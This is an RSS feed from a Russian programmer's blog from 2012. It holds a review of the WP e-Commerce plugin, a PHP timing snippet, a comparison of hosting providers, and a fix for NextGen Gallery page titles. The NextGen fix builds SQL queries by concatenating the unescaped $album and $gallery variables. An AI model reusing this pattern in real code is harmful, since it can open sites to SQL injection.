<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2russianfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>ShuBlog - дневник программиста</title>
	
	<link>http://shublog.ru</link>
	<description>дневник программиста</description>
	<lastBuildDate>Tue, 08 May 2012 06:30:45 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=3545</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/shublog" /><feedburner:info uri="shublog" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:emailServiceId>shublog</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><feedburner:feedFlare href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://feeds.my.aol.com/add.jsp?url=http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://o.aolcdn.com/favorites.my.aol.com/webmaster/ffclient/webroot/locale/en-US/images/myAOLButtonSmall.gif">Subscribe with My AOL</feedburner:feedFlare><feedburner:feedFlare href="http://www.bloglines.com/sub/http://feeds.feedburner.com/shublog" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><feedburner:feedFlare href="http://lenta.yandex.ru/settings.xml?name=feed&amp;url=http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://lenta.yandex.ru/i/addfeed.gif">?????? ? ??????.?????</feedburner:feedFlare><feedburner:feedFlare href="http://www.plusmo.com/add?url=http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://plusmo.com/res/graphics/fbplusmo.gif">Subscribe with Plusmo</feedburner:feedFlare><feedburner:feedFlare href="http://www.thefreedictionary.com/_/hp/AddRSS.aspx?http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://img.tfd.com/hp/addToTheFreeDictionary.gif">Subscribe with The Free Dictionary</feedburner:feedFlare><feedburner:feedFlare href="http://www.bitty.com/manual/?contenttype=rssfeed&amp;contentvalue=http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://www.bitty.com/img/bittychicklet_91x17.gif">Subscribe with Bitty Browser</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsalloy.com/?rss=http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://www.newsalloy.com/subrss3.gif">Subscribe with NewsAlloy</feedburner:feedFlare><feedburner:feedFlare href="http://www.live.com/?add=http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://tkfiles.storage.msn.com/x1piYkpqHC_35nIp1gLE68-wvzLZO8iXl_JMledmJQXP-XTBOLfmQv4zhj4MhcWEJh_GtoBIiAl1Mjh-ndp9k47If7hTaFno0mxW9_i3p_5qQw">Subscribe with Live.com</feedburner:feedFlare><feedburner:feedFlare href="http://mix.excite.eu/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://image.excite.co.uk/mix/addtomix.gif">Subscribe with Excite MIX</feedburner:feedFlare><feedburner:feedFlare href="http://download.attensa.com/app/get_attensa.html?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://www.attensa.com/blogs/attensa/WindowsLiveWriter/BadgeredintoBadges_10C02/attensa_feed_button5.gif">Subscribe with Attensa for Outlook</feedburner:feedFlare><feedburner:feedFlare href="http://www.webwag.com/wwgthis.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://www.webwag.com/images/wwgthis.gif">Subscribe with Webwag</feedburner:feedFlare><feedburner:feedFlare href="http://www.podcastready.com/oneclick_bookmark.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://www.podcastready.com/images/podcastready_button.gif">Subscribe with Podcast Ready</feedburner:feedFlare><feedburner:feedFlare href="http://www.flurry.com/pushRssFeed.do?r=fb&amp;url=http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://www.flurry.com/images/flurry_rss_logo2.gif">Subscribe with Flurry</feedburner:feedFlare><feedburner:feedFlare href="http://www.wikio.com/subscribe?url=http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://www.wikio.com/shared/img/add2wikio.gif">Subscribe with Wikio</feedburner:feedFlare><feedburner:feedFlare href="http://www.dailyrotation.com/index.php?feed=http%3A%2F%2Ffeeds.feedburner.com%2Fshublog" src="http://www.dailyrotation.com/rss-dr2.gif">Subscribe with Daily Rotation</feedburner:feedFlare><item>
		<title>"WP e-Commerce – гагно" или чем чревато использование этого плагина для Wordpress</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/0Od-pmhtWf4/</link>
		<comments>http://shublog.ru/cms/wp-e-commerce-plagin-dlya-wordpress/#comments</comments>
		<pubDate>Tue, 08 May 2012 06:28:04 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[CMS]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[плагин]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1465</guid>
		<description><![CDATA[Всем привет. Совсем не хватает времени на блог, но всё таки немного времени уделить популярному плагину интернет-магазинов для Wordpress я обязан. По разным причинам.
Когда-то давно, было дело, я подумал о реализации магазина на WP. Выбирая из неширокого ассортимента, я остановился на WP e-Commerce как на наиболее перспективным и имеющим широкие возможности продукте. Однако, это оказалось [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">Всем привет. Совсем не хватает времени на блог, но всё таки немного времени уделить популярному плагину интернет-магазинов для Wordpress я обязан. По разным причинам.</p>
<p align="justify">Когда-то давно, было дело, я подумал о реализации магазина на WP. Выбирая из неширокого ассортимента, я остановился на <strong>WP e-Commerce</strong> как на наиболее перспективным и имеющим широкие возможности продукте. Однако, это оказалось далеко от истины.</p>
<p align="justify"><img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" title="wp" border="0" alt="wp &quot;WP e Commerce &ndash; гагно&quot; или чем чревато использование этого плагина для Wordpress" src="http://shublog.ru/content/uploads/2012/05/wp.jpg" width="451" height="296" /> </p>
<p> <span id="more-1465"></span>
<p align="justify">Я начинал им пользоваться ещё на втором WP, когда развивалась линейка версий 3.7. Много возможностей, дополнительных (хоть и платных) опций, а также радовало то, что в нём можно было добиться абсолютно чего угодно без всяких окольных путей и проблем. Затем появилась линейка 3.8, заточенная исключительно под третий ВП и при этом ставшая сложнее для изменений – если чего-то хочешь мало-мальски нестандартное, готовься к поиску обходных путей. Помимо этого напрягло то, что работая на линейка 3.7, обновиться до 3.8 становится практически невозможно (во всяком случае, ни одной инструкции на тот момент не было и не уверен есть ли сейчас).</p>
<p align="justify">Линейка 3.7 была более продуманной, но по ряду причин пользоваться ей невозможно из-за огромного числа багов, всплывающих даже в самых последних версиях этой линейки. Печально осознавать, что до последнего момента продукт был сырым и имеющим огромное число багов (хотя версии постарее, где-то 3.7.5, вроде бы работают нормально).</p>
<p align="justify">Дальше-больше. Не имя возможности перейти на обновлённую версию, становится необходимой ликвидация обилия багов, включая тот, что не работает даже мультизагрузка изображений (хотя за это доплачивается 40 долларов). Конечно же, я обратился в тех.поддержку, на что мне они ответили спустя 2 или 3 недели (когда я уже баги сам устранил, хоть и не все) и при этом ничего дельного не сказали, кроме как – поставьте версию 3.8, хотя пять сотен товаров придётся вручную переносить. Потом, когда я по лицензинному ключу обратился к ним снова спустя несколько недель – мне написали что ключ недействителен, а письмо администрации осталось неотвеченным. Иными словами – плагин развивается, но тех.поддержка настолько сосёт, что лучше бы её просто не было.</p>
<p align="justify">Далее приколы не заканчиваются. Раньше был форум с документацией, но после обновления оф.сайта, он слетел. Поначалу вообще никакой документации не было, и появилась она спустя месяц-другой. Самое смешное, что даже не смотря на свою заточенность под версию 3.8, она была крайне скудна даже для неё – всё слишком кратко, и без лишних комментариев.</p>
<p align="justify">Думаю не стоит говорить, что форум особой жизнью не отличается, хотя хотя бы там можно подчерпнуть умные вещи. Конечно же, на английском. Тут же отмечу, что ни русской документации, ни обсуждений на форумах (русских), ничего такого в интернете практически нет. И ладно бы, фиг с ним, но и на английском языке тоже довольно всё бедно.</p>
<p align="justify">Возможно, версия 3.8 более стабильная, рабочая, безбаговая, может и добиться в ней что-то стало попроще, но наличие минусов, предоставляемых этим с<strike>т</strike>ра<strike>н</strike>ным GetShopped.org, слишком зашкаливает, чтобы вообще с ними иметь дело. Хотя, вероятно, грядущая версия 4.0 будет неплохой….. Не, думаю всё таки не будет.</p>
<p align="justify">Резюмируя вышесказанное, перечислю <strong>основные минусы и плюсы WP e-Commerce</strong>.</p>
<p align="justify"><u><em><strong>Минусы</strong></em></u>:</p>
<ul>
<li>
<div align="justify">Наличие багов в стабильных версиях, связанных преимущественно с административным интерфейсом.</div>
</li>
<li>
<div align="justify">Дерьмовая и неадекватная тех.поддержка (даже с учётом того, что ты платишь им деньги за продукт).</div>
</li>
<li>
<div align="justify">Проблемы с документацией (русской – нет даже по форумам, а английская – скудна).</div>
</li>
<li>
<div align="justify">Даже закрыв глаза на предыдущие пункты, обязательно придётся потратить 40 баксов, ибо товар с одной картинкой – это лажа. Было бы не страшно, если бы всё работало, но…</div>
</li>
<li>
<div align="justify">Актуально для последних версий – чего-то уникальное и нестандартное сделать достаточно проблемно (хотя и реально).</div>
</li>
</ul>
<p align="justify"><strong><em><u>Плюсы</u></em></strong>:</p>
<ul>
<li>
<div align="justify">Реализует неплохой магазин на WP, успешно справляющийся со своей задачей.</div>
</li>
<li>
<div align="justify">Практически нет конкурентов, т.к. &quot;на безрыбье…&quot;</div>
</li>
</ul>
<p align="justify"><strong><em><u>Вердикт</u></em></strong></p>
<p align="justify">Если вы неприхотливы, не собираетесь изгаляться над магазином, и при этом его необходимо сделать именно на WP – то тогда можно использовать без каких-либо упрёков. Если нет привязки на Wordpress, то лучше взять ту же джумлу (бесплатно) или вебасист (не намного дороже, если не учитывать бесплатную версию).</p>
<p align="justify">Вероятно, сейчас есть какие-нибудь неплохие магазинные плагины и для Wordpress, лишённые вышеуказанных недостатков, но при этом дающие не меньший функционал, чем e-Commerce. А вы какие плагины пробовали и каков ваш вердикт? Может есть что-то лучше, чем этот коммерц? Пишите в коменты, обсудим =)</p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/0Od-pmhtWf4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/cms/wp-e-commerce-plagin-dlya-wordpress/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://shublog.ru/cms/wp-e-commerce-plagin-dlya-wordpress/</feedburner:origLink></item>
		<item>
		<title>Как узнать время выполнения скрипта на PHP</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/YDBfOtG5IhY/</link>
		<comments>http://shublog.ru/php/kak-uznat-vremya-vypolneniya-skripta-na-php/#comments</comments>
		<pubDate>Fri, 10 Feb 2012 16:39:25 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Важные мелочи]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1459</guid>
		<description><![CDATA[Иногда приходится детально обращать внимание на скорость выполнения того или иного скрипта (или части скрипта), не ограничиваясь своим беглым намётанным взглядом. Вот тогда то и приходят на помощь возможности PHP по замеру скорости загрузки. Вы наверняка их использовали, да и в целом знаете как это делается. Но на всякий случай, для тех кто не в [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">Иногда приходится детально обращать внимание на скорость выполнения того или иного скрипта (или части скрипта), не ограничиваясь своим беглым намётанным взглядом. Вот тогда то и приходят на помощь возможности PHP по замеру скорости загрузки. Вы наверняка их использовали, да и в целом знаете как это делается. Но на всякий случай, для тех кто не в курсе как это делать, а также для раздела &quot;Важные мелочи&quot;, выкладываю простейший код, решающий данный вопрос.</p>
<div class="coding_block">$start = microtime(true);    <br />// тело скрипта     <br />echo 'Время выполнения скрипта: '.(microtime(true) - $start).' сек.'; </div>
<p>Всё до безумия просто. В первой строке мы создаём переменную с временем начала работы. Оно достигается посредством функции <strong>microtime</strong> с переданным true – это позволяет получить количество секунд с большим числом знаков после запятой. Время, к слову, в формате Unix.</p>
<p>Далее идёт весь код скрипта, после чего, в третьей строке, мы вычитаем из текущего времени время начало работы скрипта и вуаля – вы имеете время выполнения php скрипта с точностью до едритькакого знака после запятой.</p>
<p>&#160;</p>
<p> <noindex>
<p>Напоследок, перед выходными, я хочу поделиться с вами одной игрой. Игра некомпьютерная и рассчитана на весёлых пьяных друзей, для которых не чужд интернет. Нужно распечатать, найти игральный кубик, и сесть вечерком с друзьями за бутылочкой чего-нибудь горячительного. Всё таки сейчас дубовенько и в Питере, вроде как, обещают самый дубак на эти выходные. Кароче, не мёрзнете! <img src='http://shublog.ru/wp-includes/images/smilies/icon_smile.gif' alt="icon smile Как узнать время выполнения скрипта на PHP" class='wp-smiley' title="Как узнать время выполнения скрипта на PHP" /> </p>
<p><a href="http://shublog.ru/content/uploads/2012/02/drinktimeadventures.jpg"><img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" title="drinktimeadventures" border="0" alt="drinktimeadventures thumb Как узнать время выполнения скрипта на PHP" src="http://shublog.ru/content/uploads/2012/02/drinktimeadventures_thumb.jpg" width="569" height="414" /></a></p>
<p> </noindex></p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/YDBfOtG5IhY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/php/kak-uznat-vremya-vypolneniya-skripta-na-php/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		<feedburner:origLink>http://shublog.ru/php/kak-uznat-vremya-vypolneniya-skripta-na-php/</feedburner:origLink></item>
		<item>
		<title>Выбор хостинга для сайта по состоянию на начало 2012 года</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/-aR8rCG0oBo/</link>
		<comments>http://shublog.ru/other/vybor-hosting-2012/#comments</comments>
		<pubDate>Sun, 05 Feb 2012 20:45:16 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[Другое]]></category>
		<category><![CDATA[хостинг]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1449</guid>
		<description><![CDATA[ Где-то с месяц назад пришлось задуматься о смене хостинга. Очень долгое время я сидел на Агаве и ценил их за качество услуг и особенно качественную тех.поддержку. Но где-то последние полгода-год сайты у них стали периодически тупить. Иногда по-жёсткому. Они предлагали две меры решения, одна из которых – перенос нас на другой сервер, а вторая [...]]]></description>
			<content:encoded><![CDATA[<p><img style="border-right-width: 0px; margin: 35px 0px 30px 15px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Выбор хостинга" border="0" alt="host Выбор хостинга для сайта по состоянию на начало 2012 года" align="right" src="http://shublog.ru/content/uploads/2012/02/host.jpg" width="244" height="238" /> Где-то с месяц назад пришлось задуматься о смене хостинга. Очень долгое время я сидел на Агаве и ценил их за качество услуг и особенно качественную тех.поддержку. Но где-то последние полгода-год сайты у них стали периодически тупить. Иногда по-жёсткому. Они предлагали две меры решения, одна из которых – перенос нас на другой сервер, а вторая – тариф помощнее.</p>
<p>Перенос на другой сервер не был панацеей, т.к. иногда это помогало только временно. А тариф помощнее – попробовали. До этого мы использовали классику Normal, перешли на Персональный, который почти в два раза дороже. Да, он побыстрее, постабильнее, но всё равно необъяснимым образом он периодами тупил и медленно открывал страницы, но потом всё как рукой снимало. Лично я считаю, что за ~6 т.р. в год можно было бы с этим что-то сделать.</p>
<p> <span id="more-1449"></span><br />
<h4 align="center">Выбор хостинга</h4>
<p><img style="border-right-width: 0px; margin: 0px 15px 0px 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Хостинг" border="0" alt="hosting Выбор хостинга для сайта по состоянию на начало 2012 года" align="left" src="http://shublog.ru/content/uploads/2012/02/hosting.jpg" width="228" height="182" />В результате, пришлось изучать и тестировать других хостинги. Были взять для сравнения <strong>Agava</strong> (с тарифом Normal), <strong>Timeweb</strong> (с тарифом Century), <strong>SWeb</strong> (с тарифом SX-4), <strong>Majordomo</strong> (тариф Мастер+) – все тарифы в районе 2,5-3 т.р. в год. Также были на подхвате <strong>Agava</strong> с тарифом Персональный (6т.р. в год) и <strong>Timeweb</strong> с тарифом Премиум (4т.р. в месяц).</p>
<p><strong><u>Тестировавшиеся CMS</u></strong>: Среди движков были взяты Wordpress 2.9.2 и Wordpress 3.2.1 (с включённым и выключенным wp super cache), Joostina и Joomla 1.5. Если сайты были разные, то подобраны страницы с одинаковым количеством запросов.</p>
<p><strong><u>Сервисы для тестирования</u></strong>: Их у меня два <a href="http://webwait.com/">WebWait</a> и <a href="http://tools.pingdom.com/fpt/">Pingdom Tools</a>, но по факту я пользовался только первым. Он даёт по умолчанию 5 запусков с промежутком в 5 секунд на указанную страницу, плюс я делал таких выходок от 3 до 10.</p>
<p>Скажу сразу, что я не капитально прошёлся по выбранным хостингам и результаты у меня неполные. Однако для общего представления этого оказалось вполне достаточно.</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="105">&#160;</td>
<th width="64"><noindex><a href="http://agava.ru/" rel="nofollow" target="_blank">Agava</a></noindex></th>
<th width="64"><noindex><a href="http://timeweb.ru/" rel="nofollow" target="_blank">Timeweb</a></noindex></th>
<th width="64"><noindex><a href="http://timeweb.ru/services/hosting/premium/" rel="nofollow" target="_blank">TimewebVIP</a></noindex></th>
<th width="64"><noindex><a href="http://sweb.ru/" rel="nofollow" target="_blank">Sweb</a></noindex></th>
<th width="72"><noindex><a href="http://www.majordomo.ru/" rel="nofollow" target="_blank">Majordomo</a></noindex></th>
</tr>
<tr>
<th>WP2.9.2 (SuperCache)</th>
<td align="center">1,4</td>
<td align="center">0,1</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
</tr>
<tr>
<th>WP2.9.2 </th>
<td align="center">2,0</td>
<td align="center">0,5</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
</tr>
<tr>
<th>WP3.2.1 (SuperCache)</th>
<td>&#160;</td>
<td align="center">0,3</td>
<td>&#160;</td>
<td align="center">1,0</td>
<td align="center">0,7</td>
</tr>
<tr>
<th>WP3.2.1</th>
<td>&#160;</td>
<td align="center">1,0</td>
<td>&#160;</td>
<td>&#160;</td>
<td align="center">1,5</td>
</tr>
<tr>
<th>Joostina</th>
<td align="center">1,8</td>
<td>&#160;</td>
<td align="center">0,3</td>
<td>&#160;</td>
<td>&#160;</td>
</tr>
<tr>
<th>Joomla1.5</th>
<td align="center">1,2</td>
<td align="center">0,6</td>
<td>&#160;</td>
<td>&#160;</td>
<td>&#160;</td>
</tr>
</tbody>
</table>
<p align="justify">Числа в таблице усреднённые, я бы их даже назвал относительными, т.к. время загрузки также зависит и от времени суток, и от качества связи, и от всяких различных факторов, как, например, первое обращение к странице иногда идёт очень долго, зато последующие моментально (не у всех и не всегда). Также хочу отметить, что меня почти сразу заинтересовал Timeweb, выдавший скорость загрузки прокэшированного WP2.9.2 в 0,1 с, поэтому СВебу и Мажору было уделено меньше времени.</p>
<p align="justify">Кстати, немного оффтопиком видно, что третий Wordpress показал себя в два раза медленнее, чем второй. Собственно, вот почему я до сих пор у меня к нему пренебрежение.</p>
<p align="justify">В итоге, я проставил свои оценки хостингам, выделив среди пунктов качество хостинга, техподдержки и адекватность цен. Соответственно каждую из этих оценок я поясню чуть ниже.</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="105">&#160;</td>
<th width="125">Хостинг</th>
<th width="124">Техподдержка</th>
<th width="64">Цены</th>
</tr>
<tr>
<th>Agava</th>
<td><strong>3</strong></td>
<td><strong>5</strong></td>
<td><strong>2</strong></td>
</tr>
<tr>
<th>Timeweb</th>
<td><strong>5</strong></td>
<td><strong>4</strong></td>
<td><strong>5</strong></td>
</tr>
<tr>
<th>Majordomo</th>
<td><strong>3</strong></td>
<td><strong>2</strong></td>
<td><strong>4+</strong></td>
</tr>
<tr>
<th>Sweb</th>
<td><strong>?</strong></td>
<td><strong>?</strong></td>
<td><strong>4+</strong></td>
</tr>
</tbody>
</table>
<p>Итак, <strong>качество хостинга</strong>, <em>Таймвебу</em> я дал честные 5 баллов – пока тестируюсь у них и никаких проблем не было. Вроде бы довольно стабильный, а если говорить о хосте за 4 штуки в месяц – так там вообще конфетка! Правда 4 штуки в месяц – думаю не нужно лишних слов. <em>Агава</em> же в сравнении откровенно сливает. Постоянные перебои и нестабильная работа действительно удручают. Конечно, тариф Персональный хорош по скорости, но стабильности как-то нет. <em>Мажор</em> в этом плане я оцениваю по первым ощущениям и недолгой работе с ними. Не сказал бы, что стабилен, а первое обращение зачастую долгое. Возможно мало тестировал, но пока троечка, может быть троечка с плюсом. <em>Свеб</em> – не удалось оценить.</p>
<p>Далее, <strong>техподдержка</strong>. У <em>Агавы</em> в этом плане всё хорошо. Отвечают быстро, также как и решают вопросы. Если надо очень срочно – всегда есть телефон, где можно напрямую поговорить со специалистом. У <em>Таймвеба</em> с поддержкой тоже хорошо, хотя до уровня Агавы не дотягивает – работает медленнее и форма обратной связи в панели не имеет возможности уведомления по email'у об ответе. У <em>Мажора</em> техподдержка меня вообще не порадовала. Они не 24/7, и при этом в выходные до 18 часов работают. При этом заявка обрабатывается 2-3 часа, и по телефону звонить бесполезно – они вежливо посылают на 2-3 часа курить. Так что, если у вас ЧП, то вам не повезло, если вы в Мажо<strike>пе</strike>ре. С <em>Свебовцами</em> не приходилось общаться.</p>
<p><strong>Цены</strong> говорят сами за себя. <em>Агава</em> всех переплюнула, зато понятно откуда такая хорошая техподдержка <img src='http://shublog.ru/wp-includes/images/smilies/icon_smile.gif' alt="icon smile Выбор хостинга для сайта по состоянию на начало 2012 года" class='wp-smiley' title="Выбор хостинга для сайта по состоянию на начало 2012 года" />  <em>Таймвеб</em> оказался дешевле всех, а <em>мажор</em> и <em>свеб</em> не сильно отстают.</p>
<p><img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" title="" border="0" alt="globe Выбор хостинга для сайта по состоянию на начало 2012 года" src="http://shublog.ru/content/uploads/2012/02/globe.jpg" width="404" height="269" /></p>
<p>Есть ещё одна тема – <strong>удобство использования</strong>, которую я не стал выносить отдельно. У <em>Агавы</em> она выглядит следующим образом: пара доступов, одна в личный кабинет, другая в cPanel хостинга. При этом, если оформить ещё один хостинг, то будут даны ещё одни доступы в другую цпанель. Также, зайдя в личный кабинет, можно без проблем попасть в нужную цпанель. В целом, удобно. Все услуги (домены, хост), продление, управление зонами днс – всё в одном месте, а всё остальное – в cPanel. Уже в цПанели много настроек, даже версию пхп можно выбрать (из трёх – четвёрка и две пятых, постарее и посвежее). </p>
<p>У <em>Мажора</em> – вроде как один хост – один доступ, и под этим доступом уже можно всё делать. Меню по классике – аккордеон, разбитый по разделам. На вкус и на цвет, но лично мне неудобно. </p>
<p><em>Таймвеб</em>. Регистрируешь хост, получаешь доступы. Доступы одни, по ним входишь по сути в цПанель, где и управляешь своими услугами и возможностями. Всё сделано довольно лаконично, интуитивно понятно и нет ничего лишнего. Есть минус – переход к главной странице панели из подраздела сделан неудобно – внизу линк надо жать, либо в браузере кнопку &quot;назад&quot;. Если нужен ещё один хост – регистрируемся, и получаем ещё одни доступы. И тут, внимание! К одному аккаунту можно пристегнуть другой, и тогда под одними доступами будут сразу несколько панелей, которые представлены в разных вкладках. И это реально очень удобно! Ещё порадовала смена MX записей. Если у вас вдруг корпоративная почта от гугл, то для смены MX записей нужно лишь поставить галочку – почта от Гугл. Мелочь, а приятно.</p>
<p>&#160;</p>
<p style="font: 18px georgia" align="center">В завершении</p>
<p>Итого, на сегодняшний день я остановился на <strong>Timeweb</strong>'е – удобно, качественно и недорого. Если они испортятся, буду уже детально пробовать SWeb или попробую дать Агаве второй шанс, но надеюсь это будет не скоро.</p>
<p>А что за хостинг у вас? Решали ли вы проблему хостинга и к чему пришли? А может быть я где-то оказался неправ? Буду ждать ваших комментариев, отзывов и размышлений на тему. Да прибудут с вами быстрые сайты!</p>
<p><strong>UPD:</strong> Забыл сказать, что мы перебрались на новый хост, а также ядро сайта было обновлено. Если вы вдруг заметите какие-нибудь баги, то не стесняйтесь и пишите - буду крайне признателен!</p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/-aR8rCG0oBo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/other/vybor-hosting-2012/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		<feedburner:origLink>http://shublog.ru/other/vybor-hosting-2012/</feedburner:origLink></item>
		<item>
		<title>Галерея NextGen Gallery для Wordpress. Часть 2. Как изменить title?</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/E4lyWbLq_do/</link>
		<comments>http://shublog.ru/cms/galereya-nextgen-gallery-dlya-wordpress-chast-2-kak-izmenit-title/#comments</comments>
		<pubDate>Mon, 09 Jan 2012 14:50:30 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[CMS]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[nextgen gallery]]></category>

		<guid isPermaLink="false">http://shublog.ru/cms/galereya-nextgen-gallery-dlya-wordpress-chast-2-kak-izmenit-title/</guid>
		<description><![CDATA[Всех с прошедшими праздниками! Надеюсь, все хорошо отдохнули? Ну, раз оно так, то пора немного поделиться полезной информацией.
Всем хороша галерея NextGen! Вот только с тайтлами у неё полная беда. Вместо того, чтобы печатать адекватные заголовки страниц, он выдаёт названия типа &#34;Альбом 2 – Галерея 5&#34;. Полагаю не стоит пояснять, что и выглядит убого, и для [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">Всех с прошедшими праздниками! Надеюсь, все хорошо отдохнули? Ну, раз оно так, то пора немного поделиться полезной информацией.</p>
<p align="justify">Всем хороша галерея <strong>NextGen</strong>! Вот только с тайтлами у неё полная беда. Вместо того, чтобы печатать адекватные заголовки страниц, он выдаёт названия типа &quot;<em>Альбом 2 – Галерея 5</em>&quot;. Полагаю не стоит пояснять, что и выглядит убого, и для СЕО полный отстой.</p>
<p align="justify">Этот косяк исправляется достаточно быстро, что, быть может, даже не заслуживает отдельной записи. Но я хотел бы акцентировать на этой шляпе внимание, дабы даже те, кто не обращал на это внимание – обратил (внимание, блеать! – <em>прим.ред.</em>).</p>
<p>Итак, что нужно сделать.</p>
<ol>
<li>Найти файл <strong>rewrite.php</strong> в папке nextgen-gallery/lib. </li>
<li>В районе 200 строки найти <em><strong>$title = $new_title . $title;</strong></em> и закомментировать. </li>
<li>А сразу после этой строки вставить следующий код:
<div class="coding_block">global $wpdb;       <br />$album_title = $wpdb-&gt;get_var(&quot;SELECT `name` FROM &quot;.$wpdb-&gt;nggalbum.&quot; WHERE `id` = '&quot;.$album.&quot;' LIMIT 1&quot;);         <br />$gallery_title = $wpdb-&gt;get_var(&quot;SELECT `title` FROM &quot;.$wpdb-&gt;nggallery.&quot; WHERE `gid` = '&quot;.$gallery.&quot;' LIMIT 1&quot;);        <br />if(!empty($gallery_title)) {         <br />&#160;&#160; $new_title = $album_title.' - '.$gallery_title.' - ';         <br />&#160;&#160; $title = $new_title . $title;         <br />}        <br />return $title; </div>
</li>
</ol>
<p>Теперь основная часть заголовка страницы перед названием сайта будет иметь вид <strong>Название_альбома – Название_галереи</strong>.</p>
<p>В некоторых случаях название альбома не нужно, поэтому можно закомментить вторую строку, а также в $new_title убрать $album_title.' - '.</p>
